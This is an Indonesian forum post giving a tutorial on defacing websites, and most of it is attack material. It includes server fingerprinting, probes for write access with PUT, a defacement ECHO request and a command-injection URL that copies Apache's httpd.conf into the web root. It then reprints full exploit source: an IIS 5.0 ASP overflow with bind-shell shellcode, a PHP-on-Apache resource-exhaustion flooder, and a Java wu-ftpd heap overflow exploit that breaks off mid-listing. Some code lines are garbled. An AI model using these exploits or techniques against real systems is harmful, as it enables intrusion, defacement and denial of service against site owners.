PDA

View Full Version : Seluk Beluk Mendeface Website


dede23
27-07-2006, 01:06 PM
Mendeface website merupakan salah satu topik yang paling banyak dibahas di dunia IT. Para Cracker, Script Kiddies dan terkadang pula para hacker membuat jalan khusus mengenai cara mendeface website. Dalam kebanyakan kasus website yang terdeface orang lain untuk menyampaikan pesan kepada publik, sekedar iseng atau beberapa alasan lainnya... yang tidak disebutkan disini!!

Dalam artikel ini saya akan menjelaskan seluk beluk pendeface-an website. Umumnya website yang terdeface melalui eksploitasi celah keamanan pada webserver dan memperolehroot shell atau injeksi malicious code terhadap halaman target yang terdapat pada server tersebut. Dalam manual ini saya akan menggambarkan metode eksploitasi celah kamanan web server Microsoft IIS. Walaupun Apache merupakan webserver populer lain yang tergolong lebih secure. Saya tidak mengetahui banyak mengenai deface website yang terhosting di server Apache. Namun saya akan mencoba menuliskan penjelasan teoritis dari server Apache.

Artikel ini dibagi menjadi beberapa bagian pokok, yaitu:

- Software pendeteksi web server
- Analisa konfigurasi web server
- Pemeriksaan celah keamanan
- Coding exploit
- Mengeksploitasi celah keamanan untuk membobol server
- Injeksi malicious code melalui URL
- Mengamankan diri anda sendiri
- Kesimpulan


DETEKSI IDENTITAS WEB SERVER

Mendeface website bukanlah keseluruhan aktifitas hacking. Tidak diperlukan otak seorang hacker, atau hacker yang jenius. Yang diperlukan hanyalah mencari exploit, sejumlah keterampilan pemrograman yang memadai dan waktu luang untuk trial and error. Pada dasarkanya setiap software memiliki beberapa celah keamanan (kesalahan pemrograman) mengeksploitasi yang memungkinkan seseroang mendapatkan akses root (administrator privilege) ke sistem yang menjalankan software tertentu. Dengan menggunakan konsep ini website itu terdeface. Anda dapat menemukan banyak celah keamanan yang terkini melalui website seperti:

http://www.securityfocus.com , http://www.packetstormsecurity.com , http://www.securiteam.com dsb. beberapa situs bahkan memberikan code exploitnya. Namun sebelum anda mencari exploit atau celah keamanan pada situs tersebut, anda perlu mengetahui software server yang dijalankan oleh website sasaran. Setelah mengetahui software server tersebut, selanjutnya anda harus mencari celah keamanan dan exploit yang cocok pada software tersebut.

Pendeteksi webserver sangat mudah digunakan dan metodenya jelas. Pada dasarnya apa yang terjadi saat suatu request dikirimkan ke webserver yang terpaksa membuat pesan error 400, atau 200 OK message, 404 forbidden error message pada raw mode (melalui telnet) kemudian software server tersebut merespon dengan pesan yang sesuai yang berisikan software webserver berikut info versi. Jadi apa yang kita perlu lakukan hanyalah telnet terhadap port 80 (port default untuk web server) dari web server dan mengirimkan beberapa request ke server tersebut yang merespon dengan 400 bad request error message atau 200 OK message yang berisikan informasi versi dan software server tersebut.



Microsoft Telnet>telnet 127.0.0.1 80
GET \ HTTP/1.1\r\n\r\n
Host:server-software
<enter>
<enter>
<enter>

HTTP/1.1 403 Forbidden
Date: Sat, 10 Aug 2002 16:55:41 GMT
Server: Apache/1.3.22 (Win32)
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>403 Forbidd
en</TITLE>
</HEAD><BODY>
<H1>Forbidden</H1>
You don't have permission to access /
on
this server.<P>
<HR>
<ADDRESS>Apache/1.3.22 Server at www.apache.org Port 80</ADD
RESS>
</BODY></HTML>


Connection to host lost.

OK, saya harap anda mendapatkannya. Sederhana saja. Ringkasnya apa yang anda perlu lakukan hanyalah melakukan telnet ke port 80 dari webste target anda (anda bahkan bisa melakukan telnet ke nama domain tersebut, misalnya telnet hackersclub.up.to 80) ketik pada beberapa request seperti GET \ HTTP/1.1\r\n\r\n kemudian ketik sesuatu seperti host: server-software kemudian tekan <enter> cuman beberapa saat hingga anda mendapatkan respon server tersebut. Server tersebut akan merespon dengan informasi software tersebut.


ANALISA WEB SERVER

Pada dasarnya default instalasi IIS (Internet Information Service) berisikan website root pada c:\Inetpub\wwwroot. Dimana seluruh direktori tersebut ada dalam direktori c:\inetpub (dalam kasus IIS dan c:\apache group\apache\htdocs untuk versi win32 dari Apache). Seluruh folder didalamnya dianggap sebagai Direktori Virtual. Dalam suatu webserver masing-masing direktori virtual tersedia dengan jenis permisi yang berbeda. Permisi seperti Read, Write, Execurtion of Scripts, Execution of Executable seperti .dll dan halaman server side seperti ASP, cgi dsb., Directory Browsing.

Disini saya akan menggambarkan metode analisa direktori permisi dari direktori virtual yang terletak dalam suatu web server.

Read Access: Kapanpun anda mengunjungi suatu website dengan menulis nama domain website pada web browser anda, maka yang sebenarnya terjadi adalah bahwa anda terhubung ke port 0 (default port HTTP) dari IP address yang terasosiasi dengan nama domain. Katakanlah IP address dari Yahoo.com adalah 203.197.102.78. Jadi saat anda mengeti http://www.yahoo.com pada address bar web browser anda maka yang terjadi adalah URL (Uniform Resource Locator) dinyatakan ke http://203.197.102.78:80/index.html (atau index.htm, index.asp, default.asp, index.jsp, default.jsp, index.php, default.php atau apapun yang terkonfigurasi sebagai halaman index pada webserver tersebut). Sekarang ketik URL tersebut, maka anda akan memperoleh webiste yahoo dimana anda dapat membaca isinya dari wwwroot. Jika berisikan file executable seperti ASP, JSP atau PHP, maka halaman server side dieksekusi dan membuat halaman HTML pada web browser (client) oleh IIS (server) atau webserver dinamis lainnya. Sekarang saat anda membaca suatu dokumen dari suatudirektori yang diberikan meka hal ini menunjukkan bahwa direktori tersbut dapat dibaca. Pada dasarnya direktori berisikan file database yang dilindungi dengan read access demi keamanan.

Catatan: Jika anda seorang newbie sejati yang tidak mengetahui tentang IP address maka bacalah artikel mengenai notasi pengalamatan IP agar mendapatkan gambaran yang jelas.

Write Access: Sebagaimana yang saya sarankan, anggota dari website saya mengarah melalui RFC (request for comment) pada protokol penting seperti HTTP (Hyper Text Transfer Protocol), TELNET, FTP (File Transfer Protocol), SMTP (Simple Mail Transfer Protocol) dsb, kesemuanya yang membaca RFC pada HTTP secara definitif akan mengetahui maksud dari Write Access pada suatu web server. Untuk itu siapapun yang tidak memilikinya datang melalui HTTP RFC, saya berikan gambaran singkat mengenai protokol HTTP.

HTTP merupakan bagian dari TCP/IP stack (koreksi saya jika salah). Yang dirancang dan dibuat dengan maksud berbagi file melalui internet. Sebagaimana yang dinyatakan dari nama HTTP (Hyper Text Transfer Protocol). Pada awalnya file akan diupload dan didownload dari server tersebut sesuai dengan protokol HTTP tanpa diperlukan jenis otentikasi apapun. Segera setelah dinyatakan bahwa jenis arsitektur ini merupakan pelanggaran keamanan nyata yang menyebabkan siapapun yang "setengah cerdas" dapat menulis write access ke server tersentu. Sekarang apa yang telah dilakukan adalah web server tersebut dirancang dan dikonfigurasi sedemikian rupa untuk memberikan write access hanya kepada direktori virtual terpilih.

Cobalah melakukan telnet ke suatu website dan bermain-main dengan mempraktekkan informasi megnenai server tersebut dan perilakunya. Berikut ini daftar perintah yang umum digunakan yang didukung oleh web server, sesuai ketentuan RFC dari HTTP.



GET : digunakan untukmengirim request untuk read access ke suatu file yang terletak pada server melalui web browser (client)

Contoh:

Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
GET /index.html HTTP/1.1\r\n\r\n

Output:
Kode sumber HTML dari halaman index.html yang terletak pada server akan dikembalikan atau jika di request pada halaman server side seperti ASP atau JSP... maka secara dinamis menciptakan dan membuat halaman HTML.

PUT : digunakan untuk membuat suatu file pada server tersebut... membutuhkan write access pada direktori virtual tertentu dimana file tersebut dibuat.

Contoh:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
PUT /analyzing.txt HTTP/1.1\r\n\r\n

Output :
Kemungkinan besar anda akan mendapatkan pesan 403 Forbidden Error...sebagaimana halnya bahwa wwwroot tidak akan pernah memiliki write access..


DEL : untuk mengahpus suatu halaman pada webserver tersebut... memerlukan write access pada direktori virtual tertentu dimana file tersebut dihapus.

Contoh:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
del /index.html HTTP/1.1\r\n\r\n

Output :
Kemungkinan besar anda akan mendapatkan pesan 403 Forbidden Error.. yang menyatakan bahwa wwwroot tidak dapat menggunakan write access..


ECHO : Printing tool.. sama halnya dengan file Batch pada DOS.. Outputnya dapat diarahkan..
Contoh:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
ECHO defaced by Abhisek Datta >> /index.html HTTP/1.1\r\n\r\n

PROPFIND : Digunakan sebagai sebuah request untuk browsing direktori... (pada IIS... terdapat sebuah administrative tool yang digunakan untuk menganalisa web server)
Contoh:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
PROPFIND / HTTP/1.1
Host:iis-server
Content-Length:0

Output :
Kemungkinan besar anda akan mendapatkan pesan 403 Forbidden Error... yang menyatakan bahwa wwwroot tidak menggunakan write access..

Untuk menguji permisi write access terhadap direktori dalam Microsoft IIS dengan cara yang sedikit rumit. Ikuti metode berikut ini:

Untuk menguji apakah permisi write dalam keadaan 'enabled' terhadap telnet anonymous web client menjadi kedalam port web server biasanya port TCP 80 dan buatlah request berikut ini:

PUT /scripts/abhisek.asp HTTP/1.1
Host: iis-server
Content-Length: 10 <enter><enter>

Pada bagian ini server akan meresponnya dengan pesan 100 Continue
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:00 GMT

Saat menerima ini ketiklah 10 huruf
AAAAAAAAAA

HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:08 GMT
Location: http://iis-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK

Jika server meresponnya dengan respon 201 Created maka permisi Write dalam keadaan 'enabled'


Execution Access : Halaman Server side (ASP, JSP, PHP) ,dll (dynamic link libraries) etc yang seringkali digunakan saat ini pada website berbasiskan database yang secara dinamis membuat HTML dan mengirimkannya ke browser. Halaman server side ini dan file executable lainnya termasuk .dll dan .exe memerlukan execution privilege pada direktori virtual ditempat mereka berada. Umumnya seluruh file .dll, .asp, dan .exe memerlukan execution privilege yang berada dalam direktori virtual tunggal.


Directory Browsing : Seringkali web server (untuk lebih spesifik... direktori virtual dari web server) terkonfigurasi sedemikian rupa untuk menyediakan akses browsing direktori untuk seluruh client atau client khusus melalui otentikasi yang sesuai. Pada dasarnya browsing direktori dimaksudkan bahwa anda dapat menyusun daftar file dan folder yang ada dalam direktori virtual yang anda buat seakan-akan itu adalah computer anda. Untuk alasan keamanan banyak website mematikan fitur ini. Dengan exploit anda bisa mendapatkan Directory Listing dari suatu direktori virtual.


Ekploitasi terhadap Directory Listing pada Apache (win32) :

Satu dari sekian banyak Apache web server (win32) 2.1.x (saya tidak yakin mengenai versi) berisi default file .bat yang bernama test-cgi.bat dalam direktori cgi-bin. Yang sebenarnya tersedia juga agar administrator sistem dapat menguji privilege dari direktori cgi-bin yang berisikan seluruh script cgi dan perl. Tentunya direktori virtual cgi-bin memiliki execution permission.

Keadaan ini dieksploitasi untuk serangan. Pada dasarnya saat suatu file .bat pada Apache web server (win32) disebut Execution DOS (Disk Operating System) Shell yang dapat dieksekusi. Sekarang kita dapat menggunakan karakter | (pipe) selama memanggil file batch untuk mengeksekusi perintah pada remote server. Serangan URL akan terlihat seperti dibawah ini :


http://www.target.com/cgi-bin/test-cgi.bat?|copy+..\conf\httpd.conf+..\htdocs\httpd.c onf

Jadi dengan serangan URL ini apa yang telah saya lakukan adalah mengcopy file httpd.conf dari direktori conf yang pastinya memiliki read access terhadap Apache web root! seperti folder virtual htdocs. Sekarang kita bisa dengan mudah mendownload file httpd.conf menggunakan URL http://www.target.com/httpd.conf yang sekarang terletak pada Apache web root.

Catatan: Untuk hal ini bila anda tidak mengenal Apache dan tidak mengetahui apakah file httpd.conf tersebut? OK, dalam Apache anda harus mengonfigurasi seluruh web server menggunakan perintah dan script yang berada dalam file httpd.conf dalam folder c:\apache group\apache\conf dari instalasi default apache pada sistem windows umumnya. File ini berisikan seluruh setting web server sasaran dan dengan beberapa cara jika kita dapat mengatur penanganan file ini maka kita mendapatkan informasi yang jelas mengenai seluruh setting dari web server termasuk lokasi log file, directory permission, write access, authentication level dsb.


MEMERIKSA VULNERABILITY YANG ADA
Kebanyakan website yang terdeface dan dihack menggunakan vulnerability yang berkenaan dengan software server atau sistem operasi yang dijalankan oleh software server tersebut.

Banyak dari mereka yang disebut hacker mendeface website berdasarkan vulnerability yang ditemukan oleh orang-orang yang semestinya disebut "Hacker".

Ada baiknya anda harus mengetahui apakah vulnerability itu? vulnerability sebenarnya adalah cacat yang ada pada arsitektur software yang memungkinkan seorang hacker atau malicious cracker memiliki kendali lebih jauh pada sistem atau membuat kewenangan perintah sistem terhadap server. Ada beberapa vulnerability yang terdapat pada seluruh software. Pada dasarnya, dahulu saya mendengar bahwa para hacker dimanfaatkan untuk menemukan cacat dan vulnerability pada software mereka sendiri. Tapi sekarang hanya beberapa orang yang masih melakukannya. Ada banyak situs yang bagus seperti:


http://www.securityfocus.com
http://www.packetstorm.org
http://www.guininski.com
http://www.insecure.org
http://www.securiteam.com
http://www.slashdot.org
http://www.technotronic.com

Situs-situs ini berisikan lebih dari cukup tentang vulnerability mutakhir yang akan membantu anda memulai sesuatu. Bahkan jika anda berpengalaman, saya yakin anda akan mendapatkan bantuan dari situs ini.


CODING EXPLOIT :
Katakanlah, anda menetapkan melakukan hacking website http://www.anisurrahman.net (beh!! Anisur akan menendang bokong saya jika dia membaca artikel ini). Menggunakan metode yang dijelaskan diatas, anda dapat dengan mudah menemukan bahwa website tersebut dijalankan pada software server Microsoft IIS 5.00. Sekarang waktunya untuk mencari exploit (saya memperkirakan bahwa anda bukanlah seorang hackeryang dapat menemukan vulnerability sendiri.. jika tidak.. anda tidak perlu membaca artikel ini). bahkan jika anda menemukan beberapa overflow atau malicious vulnerability pada software web server dari situs yang disebutkan diatas anda harus menulis program (dengan bahasa C atau Perl) untuk mengimplementasikan exploit terhadap vulnerability yang ada. Untuk hal ini anda harus memiliki pengetahuan yang baik mengenai latar belakang pemrograman socket. Jika anda tidak dapat menulis exploit anda sendiri anda bisa mendownload code exploit yang ditulis dalam bahasa seperti C, Perl, JAVA (sangat jarang). Tapi jika anda mendownload exploit yang memungkinkan anda mendapatkan root shell pada web server target yang ditulis dalam bahasa C, maka saat melakukan kompilasi, saya yakin anda akan menemukan banyak error karena syntak dan fungsi yang sedikit berbeda dari satu compiler dengan compiler lainnya. Sekarang anda akan menyatakan perlunya penguasaan pemrograman.

Berikut ini daftar dari vulnerability yang ada disertai code exploit.

1. Exploit ASP overflow ini akan membuka port 1111 dan membuat cmd.exe. Seharusnya tertulis abhwa setiap kali anda menjalankan exploit ini dan suatu pesan akan muncul bahwa exploit ini bekerja dengan sempurna. Bagaimanapun, tidaklah dimaksudkan bahwa anda bisa mendapatkan akses ke host target, karena pada beberapa kejadian ada kotak pesan yang terlihat pada terminal sasaran yang memberitahukan bahwa telah terjadi pelanggaran akses (Acess Violation).



/* Windows 2000 Server Exploit By CHINANSL Security Team.
Test on Windows 2000 Chinese Version, IIS 5.0 , not patched.
Warning:THIS PROGRAM WILL ONLY TEST.
CHINANSL Technology CO.,LTD http://www.chinansl.com
keji@chinansl.com
use MS VC++ to compile this piece of code
*/

#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment (lib,"Ws2_32")

int main(int argc, char* argv[])
{
if(argc != 4)
{
printf("%s ip port aspfilepath\n\n",argv[0]);
printf(" ie. %s 127.0.0.1 80 /iisstart.asp\n",argv[0]);
puts(" programed by keji@chinansl.com");

return 0;
}

DWORD srcdata=0x01e2fb1c-4;//0x00457474;
file://address of SHELLCODE
DWORD jmpaddr=0x00457494; file://0x77ebf094;/ /0x01e6fcec; file://"\x1c\xfb\xe6\x01"; file://"\x0c\xfb\xe6\x01";

char* destIP=argv[1];
char* destFile=argv[3];
int webport=atoi(argv[2]);
char* pad="\xcc\xcc\xcc\xcc" "ADPA" "\x02\x02\x02\x02" "PADP"; file://16 bytes

WSADATA ws;
SOCKET s;
long result=0;
if(WSAStartup(0x0101,&ws) != 0)
{
puts("WSAStartup() error");
return -1;
}

struct sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_port=htons(webport);
addr.sin_addr.s_addr=inet_addr(destIP);
s=socket(AF_INET,SOCK_STREAM,0);
if(s==-1)
{
puts("Socket create error");
return -1;
}

if(connect(s,(struct sockaddr *)&addr,sizeof(addr)) == -1)
{
puts("Cannot connect to the specified host");
return -1;
}

char buff[4096];
char* shellcode="\x55\x8b\xec\x33\xc0\xb0\xf0\xf7\xd8\x03\xe0\x8b\x fc\x33\xc9\x89"
"\x8d\x2c\xff\xff\xff\xb8\x6b\x65\x72\x6e\xab\xb8\x 65\x6c\x33\x32"
"\xab\x32\xc0\xaa\xb8\x77\x73\x6f\x63\xab\xb8\x6b\x 33\x32\x2e\xab"
"\x4f\x32\xc0\xaa\x8d\x7d\x80\xb8\x63\x6d\x64\x2e\x ab\x32\xc0\x4f"
"\xaa\xb8\x23\x80\xe7\x77\x8d\x9d\x10\xff\xff\xff\x 53\xff\xd0\x89"
"\x45\xfc\xb8\x23\x80\xe7\x77\x8d\x9d\x19\xff\xff\x ff\x53\xff\xd0"
"\x89\x45\xf8\xbb\x4b\x56\xe7\x77\x6a\x47\xff\x75\x fc\xff\xd3\x89"
"\x45\xf4\x6a\x48\xff\x75\xfc\xff\xd3\x89\x45\xf0\x 33\xf6\x66\xbe"
"\x1d\x02\x56\xff\x75\xfc\xff\xd3\x89\x45\xec\x66\x be\x3e\x02\x56"
"\xff\x75\xfc\xff\xd3\x89\x45\xe8\x66\xbe\x0f\x03\x 56\xff\x75\xfc"
"\xff\xd3\x89\x45\xe4\x66\xbe\x9d\x01\x56\xff\x75\x fc\xff\xd3\x89"
"\x85\x34\xff\xff\xff\x66\xbe\xc4\x02\x56\xff\x75\x fc\xff\xd3\x89"
"\x85\x28\xff\xff\xff\x33\xc0\xb0\x8d\x50\xff\x75\x fc\xff\xd3\x89"
"\x85\x18\xff\xff\xff\x6a\x73\xff\x75\xf8\xff\xd3\x 89\x45\xe0\x6a"
"\x17\xff\x75\xf8\xff\xd3\x89\x45\xdc\x6a\x02\xff\x 75\xf8\xff\xd3"
"\x89\x45\xd8\x33\xc0\xb0\x0e\x48\x50\xff\x75\xf8\x ff\xd3\x89\x45"
"\xd4\x6a\x01\xff\x75\xf8\xff\xd3\x89\x45\xd0\x6a\x 13\xff\x75\xf8"
"\xff\xd3\x89\x45\xcc\x6a\x10\xff\x75\xf8\xff\xd3\x 89\x45\xc8\x6a"
"\x03\xff\x75\xf8\xff\xd3\x89\x85\x1c\xff\xff\xff\x 8d\x7d\xa0\x32"
"\xe4\xb0\x02\x66\xab\x66\xb8\x04\x57\x66\xab\x33\x c0\xab\xf7\xd0"
"\xab\xab\x8d\x7d\x8c\x33\xc0\xb0\x0e\xfe\xc8\xfe\x c8\xab\x33\xc0"
"\xab\x40\xab\x8d\x45\xb0\x50\x33\xc0\x66\xb8\x01\x 01\x50\xff\x55"
"\xe0\x33\xc0\x50\x6a\x01\x6a\x02\xff\x55\xdc\x89\x 45\xc4\x6a\x10"
"\x8d\x45\xa0\x50\xff\x75\xc4\xff\x55\xd8\x6a\x01\x ff\x75\xc4\xff"
"\x55\xd4\x33\xc0\x50\x50\xff\x75\xc4\xff\x55\xd0\x 89\x45\xc0\x33"
"\xff\x57\x8d\x45\x8c\x50\x8d\x45\x98\x50\x8d\x45\x 9c\x50\xff\x55"
"\xf4\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x90\x50\x 8d\x45\x94\x50"
"\xff\x55\xf4\xfc\x8d\xbd\x38\xff\xff\xff\x33\xc9\x b1\x44\x32\xc0"
"\xf3\xaa\x8d\xbd\x38\xff\xff\xff\x33\xc0\x66\xb8\x 01\x01\x89\x47"
"\x2c\x8b\x45\x94\x89\x47\x38\x8b\x45\x98\x89\x47\x 40\x89\x47\x3c"
"\xb8\xf0\xff\xff\xff\x33\xdb\x03\xe0\x8b\xc4\x50\x 8d\x85\x38\xff"
"\xff\xff\x50\x53\x53\x53\x6a\x01\x53\x53\x8d\x4d\x 80\x51\x53\xff"
"\x55\xf0\x33\xc0\xb4\x04\x50\x6a\x40\xff\x95\x34\x ff\xff\xff\x89"
"\x85\x30\xff\xff\xff\x90\x33\xdb\x53\x8d\x85\x2c\x ff\xff\xff\x50"
"\x53\x53\x53\xff\x75\x9c\xff\x55\xec\x8b\x85\x2c\x ff\xff\xff\x85"
"\xc0\x74\x49\x33\xdb\x53\xb7\x04\x8d\x85\x2c\xff\x ff\xff\x50\x53"
"\xff\xb5\x30\xff\xff\xff\xff\x75\x9c\xff\x55\xe8\x 85\xc0\x74\x6d"
"\x33\xc0\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\x ff\xff\xff\xff"
"\x75\xc0\xff\x55\xcc\x83\xf8\xff\x74\x53\xeb\x10\x 90\x90\x90\x90"
"\x90\x90\x6a\x32\xff\x95\x28\xff\xff\xff\xeb\x99\x 90\x90\x33\xc0"
"\x50\xb4\x04\x50\xff\xb5\x30\xff\xff\xff\xff\x75\x c0\xff\x55\xc8"
"\x83\xf8\xff\x74\x28\x89\x85\x2c\xff\xff\xff\x33\x c0\x50\x8d\x85"
"\x2c\xff\xff\xff\x50\xff\xb5\x2c\xff\xff\xff\xff\x b5\x30\xff\xff"
"\xff\xff\x75\x90\xff\x55\xe4\x85\xc0\x74\x02\xeb\x b4\xff\x75\xc4"
"\xff\x95\x1c\xff\xff\xff\xff\x75\xc0\xff\x95\x1c\x ff\xff\xff\x6a"
"\xff\xff\x95\x18\xff\xff\xff";


char* s1="POST ";// HTTP/1.1\r\n";
char* s2="Accept: */*\r\n";
char* s4="Content-Type: application/x-www-
form-urlencoded\r\n";
char* s5="Transfer-Encoding:
chunked\r\n\r\n";
char* sc="0\r\n\r\n\r\n";

char shellcodebuff[1024*8];
memset(shellcodebuff,0x90,sizeof
(shellcodebuff));
memcpy(&shellcodebuff[sizeof(shellcodebuff)-
strlen(shellcode)-1],shellcode,strlen(shellcode));
shellcodebuff[sizeof(shellcodebuff)-1] = 0;


char sendbuff[1024*16];
memset(sendbuff,0,1024*16);

sprintf(sendbuff,"%s%s?%s HTTP/1.1\r\n%sHost: %s\r\n%s%s10\r\n%s\r\n4\r\nAAAA\r\n4\r\nBBBB\r\n%s", s1,
destFile, shellcodebuff, s2, destIP, s4,s 5, pad/*,srcdata,jmpaddr*/, sc);


int sendlen=strlen(sendbuff);
*(DWORD *)strstr(sendbuff,"BBBB") = jmpaddr;
*(DWORD *)strstr(sendbuff,"AAAA") = srcdata;

result=send(s,sendbuff,sendlen,0);
if(result == -1 )
{
puts("Send shellcode error!");
return -1;
}

memset(buff,0,4096);
result=recv(s,buff,sizeof(buff),0);

if(strstr(buff,"<html>") != NULL)
{
shutdown(s,0);
closesocket(s);

puts("Send shellcode error!Try again!");
return -1;
}


shutdown(s,0);
closesocket(s);
printf("\nUse <telnet %s 1111> to connect to the host\n",destIP);
puts("If you cannot connect to the host,try run this program again!");

return 0;
}

dede23
27-07-2006, 01:07 PM
2.
/* PHP-APACHE.C
* By Matthew Murphy
* Exhaust CGI Resources via PHP on Apache
*
* Calling PHP with no parameters causes it to
* never terminate; the process must be killed
* by the server, the OS, or the admin.
*
* PHP on Apache requires you to configure a
* virtual to load PHP out of. PHP implements
* a "cgi.force_redirect" value to require that
* a certain environment variable be set to
* allow PHP to run further.
*
* However, an empty command-line *still* will
* cause PHP to hang. If a remote user does
* this for a lengthy amount of time, the server
* may no longer launch PHP or other server-side
* components.
*
* NOTE: The vulnerable config is on Apache,
* but other servers can still be exploited
* if they offer PHP.EXE (or an SAPI) directly.
*
* Usage: php-apache <host> [phpbin] [port] [maxsocks]
*/

#include <stdio.h>
#include <string.h>

#ifdef _WIN32
#define _WINSOCKAPI_ /* Fix for Winsock.h redef errors */
#include <winsock2.h> /* WinSock API calls... */
#define WSA_VER 0x0101 /* WinSock ver. to use */
#pragma comment(lib, "wsock32.lib") /* Check your compiler's docs... */
#else
#include <signal.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#endif

#define DEF_PHP "/php/php" /* This is used as the PHP
* path if one isn't set
*/

static char php_buf[] = "GET %s HTTP/1.0\x0d\x0a\x0d\x0a";

void main(int argc, char *argv[]) {
char host[257];
char binpath[257];
int maxsocks;
char request[300];
unsigned short port;
struct hostent *he;
struct sockaddr_in sa_in;
#ifdef _WIN32
WSADATA wsa_prov;
SOCKET s;
#else
int s;
#endif
printf("PHP-APACHE.C by Matthew Murphy\x0d\x0a");
printf("Exhausting CGI resources w/ PHP on Apache\x0d\x0a\x0d\x0a");
maxsocks = 0;
strcpy(&binpath[0], DEF_PHP);
#ifdef _WIN32
if (!WSAStartup(WSA_VER, &wsa_prov) == 0) {
printf("ERROR: Windows Sockets init failed!");
exit(1);
}
#endif
port = (unsigned short)htons(80);
switch (argc) {
case 5:
maxsocks = atoi(argv[4]);
case 4:
port = htons((unsigned short)atoi(argv[2]));
case 3:
if (strlen(argv[2]) > 256) {
printf("ERROR: 256 char path limit exceeded in 'phpbin' argument.");
exit(1);
}
strcpy(&binpath[0], argv[2]);
case 2:
if (strlen(argv[1]) > 256) {
printf("ERROR: No host should be over 256 chars!");
exit(1);
}
strcpy(&host[0], argv[1]);
break;
default:
printf("Usage: php-apache <host> [port] [maxsocks] [phpbin]\x0d\x0a\x0d\x0ahost - The IP/DNS name to attack\x0d\x0aport - The port the HTTP service normally runs on (default: 80)\x0d\x0amaxsocks - The maximum number of connections to establish (creates a finite flood). A zero value means continue until termination (default: 0)\x0d\x0aphpbin - The virtual path to the PHP binary (e.g, /php/php[.exe]; default: /php/php)");
exit(0);
}
if (maxsocks == 0) {
maxsocks--;
}
sa_in.sin_family = AF_INET;
sa_in.sin_port = (unsigned short)port;
he = gethostbyname(&host[0]);
if (he == NULL) {
printf("ERROR: DNS resolution failed, or unknown host.");
exit(1);
}
#ifdef _WIN32
sa_in.sin_addr.S_un.S_addr = (unsigned long)*(unsigned long *)he->h_addr;
#else
sa_in.sin_addr.S_addr = (unsigned long)*(unsigned long *)he->h_addr;
#endif
sprintf(&request[0], &php_buf[0], &binpath[0]);
while (!maxsocks == 0) {
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0) {
printf("Couldn't create socket...\x0d\x0aIf you continue to receive this error, terminate the program.");
} else {
if (!connect(s, (const struct sockaddr FAR *)&sa_in, sizeof(struct sockaddr_in)) == 0) {
printf("Couldn't connect...\x0d\x0aIf you continue to receive this error, terminate the program.");
} else {
send(s, (char FAR *)&request[0], strlen(&request[0]), 0);

/* If the exploit isn't using up server resources
* try removing this -- the server may be killing
* the CGI after a disconnect.
*/

#ifdef _WIN32
shutdown(s, SD_BOTH);
closesocket(s);
#else
close(s);
#endif
}
}
if (!maxsocks == -1) {
maxsocks--;
}
}
return;
}

------------------------------------------------------------------------

3. /*
* wu-ftpd 2.6.[0/1] remote heap overflow exploit
* wu-ftpd 2.5.* does also overflow and disconnect when you "cwd ~{"
* but it does not seem to be exploitable for some reason...
*
* Original Code by zen-parse
* This code was finished by CraigTM at 23-01-2002
*
* thanks to Krissa from #java@efnet for this:
* <Krissa> From the Integer API docs: Integer.parseInt("-FF", 16) returns -255
*
* thanks to dvorak for inspiring me; it works() now ;)
*
* This works (nearly) like zen-parses code, but gives you a shell...
*
* I wanted to challenge myself and prove that remote exploits can be
* done with java...(hello pr0ix!)...I also had way too much time ;)
*
* java woot [IP] {heap}
*
* CraigTM [ElectronicSouls]
*
* P.S.: I know that the Reader/Write class sucks, but it was done within minutes ;)
* P.P.S.:Have fun with the new targets ;)
*
*/

import java.io.*;
import java.net.*;
import java.util.*;

class woot
{

file://type, got, inpbuf, string to check for (autodetect)
static String targets[] =
{
"RH7.0 - 2.6.1(1) Wed Aug 9 05:54:50 EDT 2000", // by zen-parse
"08070cb0","08084600","2.6.1(1) WED AUG 9 05:54:50 EDT 2000",

"RH7.2 - wu-2.6.1-18 by kanix - verified by CraigTM", // doesnt seem to be
"08072af8","08085900","WU-2.6.1-18", // exploitable...

file://"wu-2.6.1(2) by zen-parse", // zen-parse's common compile
file://"0806ca48","0807e380","WU-2.6.1(2)", // seems useless in the wild

"wu-2.6.0(x) from www.wu-ftpd.org by CraigTM", file://done by me
"0806bae4","0807d600","WU-2.6.0(",

"wu-2.6.1(x) from www.wu-ftpd.org by CraigTM", file://done by me
"0806c028","0807db40","WU-2.6.1(",

null
};



file://socket stuff
static DataInputStream sin;
static PrintStream sout;
static Socket s = null;

file://shellcode
static char sc[]={0x55,0x89,0xe5,0x31,0xc0,0x31,0xdb,0x31,0xc9,0xb 0,0x17,
0xcd,0x80,0xb0,0x2e,0xcd,0x80,0xeb,0x43,0x5e,0xb0, 0x27,
0x8d,0x5e,0x09,0xb1,0xed,0xcd,0x80,0x31,0xc9,0x31, 0xc0,
0xb0,0x3d,0xcd,0x80,0xba,0x2e,0x2e,0x2f,0xff,0x8d, 0x5d,
0x04,0xb1,0x10,0x89,0x55,0x04,0x83,0xc5,0x03,0xe0, 0xf8,
0x89,0x4d,0x04,0xb0,0x3d,0xcd,0x80,0x89,0xf3,0x89, 0x75,
0x08,0x89,0x4d,0x0c,0xb0,0x0b,0x8d,0x4d,0x08,0x8d, 0x55,
0x0c,0xcd,0x80,0x31,0xc0,0xb0,0x01,0xcd,0x80,0xe8, 0xb8,0xff,0xff,0xff};
static int sclength=91;

file://guess what?
static String victim="";

file://your shell
static Thread reader, writer;

file://vars
static int m=0;

static long tmp_got;
